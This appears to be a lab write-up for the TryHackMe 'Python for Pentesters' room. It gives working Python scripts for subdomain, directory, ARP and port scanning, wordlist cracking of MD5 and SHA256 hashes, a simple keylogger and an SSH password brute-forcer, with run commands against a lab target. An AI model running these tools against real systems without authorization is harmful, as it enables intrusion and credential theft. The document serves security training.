# Python for Pentesters

**Room Link:** [https://tryhackme.com/r/room/pythonforcybersecurity](https://tryhackme.com/r/room/pythonforcybersecurity)



## Subdomain Enumeration

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FpMnHRVt9jUsJLHsyMtIa%2Fimage.png?alt=media&#x26;token=078a0181-fb9c-4a7b-bd82-6b9f3028fd2c" alt=""><figcaption></figcaption></figure>

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnFKqCwwMJG0FJdiEKyU3%2Fimage.png?alt=media&#x26;token=4601c39a-6ba9-499b-b133-ef0b6e22cdec" alt=""><figcaption></figcaption></figure>

**subdns.py**

```
import requests 
import sys 

sub_list = open("/usr/share/wordlists/PythonForPentesters/wordlist2.txt").read() 
subdoms = sub_list.splitlines()

for sub in subdoms:
    sub_domains = f"http://{sub}.{sys.argv[1]}" 

    try:
        requests.get(sub_domains)
    
    except requests.ConnectionError: 
        pass
    
    else:
        print("Valid domain: ",sub_domains)   

```

**Kali**

```
python3 subdns.py $VICTIM
```



## Directory Enumeration

As it is often pointed out, reconnaissance is one of the most critical steps to the success of a penetration testing engagement. Once subdomains have been discovered, the next step would be to find directories.

The following code will build a simple directory enumeration tool.



**dir.py**

```
import requests 
import sys 

sub_list = open("/usr/share/wordlists/PythonForPentesters/wordlist2.txt").read() 
directories = sub_list.splitlines()

for dir in directories:
    dir_enum = f"http://{sys.argv[1]}/{dir}.html" 
    r = requests.get(dir_enum)
    if r.status_code==404: 
        pass
    else:
        print("Valid directory:" ,dir_enum)
```

**Kali**

```
python3 dir.py $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6Pgwe9rBJ5ixkhYbDuvW%2Fimage.png?alt=media&#x26;token=3c833fcf-5673-4bbf-83e3-8c584afc3731" alt=""><figcaption></figcaption></figure>

## Network Scanner

Python can be used to build a simple ICMP (Internet Control Message Protocol) scanner to identify potential targets on the network. However, ICMP packets can be monitored or blocked as the target organization would not expect a regular user to “ping a server”. On the other hand, systems can be configured to not respond to ICMP requests. These are the main reasons why using the ARP (Address Resolution Protocol) to identify targets on the local network is more effective.\
\
**netscan.py**

```python
from scapy.all import *

interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"

packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range) 

ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)

for send,receive in ans:
        print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))   
```

**Kali**

```python
apt install python3-scapy
python3 netscan.py 
```

## Port Scanner

**portscan.py**

```python
import sys
import socket

ip = '192.168.1.6' 
open_ports =[] 

ports = range(1, 65535)


def probe_port(ip, port, result = 1): 
  try: 
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    sock.settimeout(0.5) 
    r = sock.connect_ex((ip, port))   
    if r == 0: 
      result = r 
    sock.close() 
  except Exception as e: 
    pass 
  return result


for port in ports: 
    sys.stdout.flush() 
    response = probe_port(ip, port) 
    if response == 0: 
        open_ports.append(port) 
    

if open_ports: 
  print ("Open Ports are: ") 
  print (sorted(open_ports)) 
else: 
  print ("Looks like no ports are open :(")
```

**Kali**

```
python portscan.py
```

## File Downloader

**download.py**

```
import requests

url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)

```

**Kali**

```
python3 download.py
```

## Hash Cracker

### MD5

**hash.py**

```
import hashlib
import pyfiglet

ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \n HASH CRACKER for MD 5")
print(ascii_banner)

wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))

with open(wordlist_location, 'r') as file:
    for line in file.readlines():
        hash_ob = hashlib.md5(line.strip().encode())
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:
            print('Found cleartext password! ' + line.strip())
            exit(0)

```

**Kali**

```
apt install python3-pyfiglet
python3 hash.py 
Enter wordlist file location: /usr/share/wordlists/PythonForPentesters/wordlist2.txt
Enter hash to be cracked: cd13b6a6af66fb774faa589a9d18f906
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDhhSKpXbPhicNxtORNM3%2Fimage.png?alt=media&#x26;token=b46628b3-b996-4799-98a7-ae82f56a1faa" alt=""><figcaption></figcaption></figure>

### SHA256

**hash.py**

```
import hashlib
import pyfiglet

ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \n HASH CRACKER for SHA 256")
print(ascii_banner)

wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))

with open(wordlist_location, 'r') as file:
    for line in file.readlines():
        hash_ob = hashlib.sha256(line.strip().encode())
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:
            print('Found cleartext password! ' + line.strip())
            exit(0)

```

**Kali**

```
apt install python3-pyfiglet
python3 hash.py 
Enter wordlist file location: /usr/share/wordlists/PythonForPentesters/wordlist2.txt
Enter hash to be cracked: 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWDptGo8iG9OnSYpPnJTN%2Fimage.png?alt=media&#x26;token=3e976dc3-c7a9-4106-9dcb-65e681f9d13b" alt=""><figcaption></figcaption></figure>

## Keyloggers

**keylogger.py**

```
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
```

**Kali**

```
pip3 install keyboard
python3.9 keylogger.py
```

## SSH Brute Forcing

**sshbruteforce.py**

```
import paramiko
import sys
import os

target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))

def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code

with open(password_file, 'r') as file:
    for line in file.readlines():
        password = line.strip()
        
        try:
            response = ssh_connect(password)

            if response == 0:
                 print('password found: '+ password)
                 exit(0)
            elif response == 1: 
                print('no luck')
        except Exception as e:
            print(e)
        pass

input_file.close()
```

**Kali**

<pre><code>python3 sshbruteforce.py 
<strong>   Please enter target IP address: $VICTIM
</strong>   Please enter username to bruteforce: tiffany
   Please enter location of the password file: /usr/share/wordlists/PythonForPentesters/wordlist2.txt
</code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FznsjgaNK9iGqOLiUUzfU%2Fimage.png?alt=media&#x26;token=dd423bd8-0c4e-4987-9874-9fc6e419bf63" alt=""><figcaption></figcaption></figure>









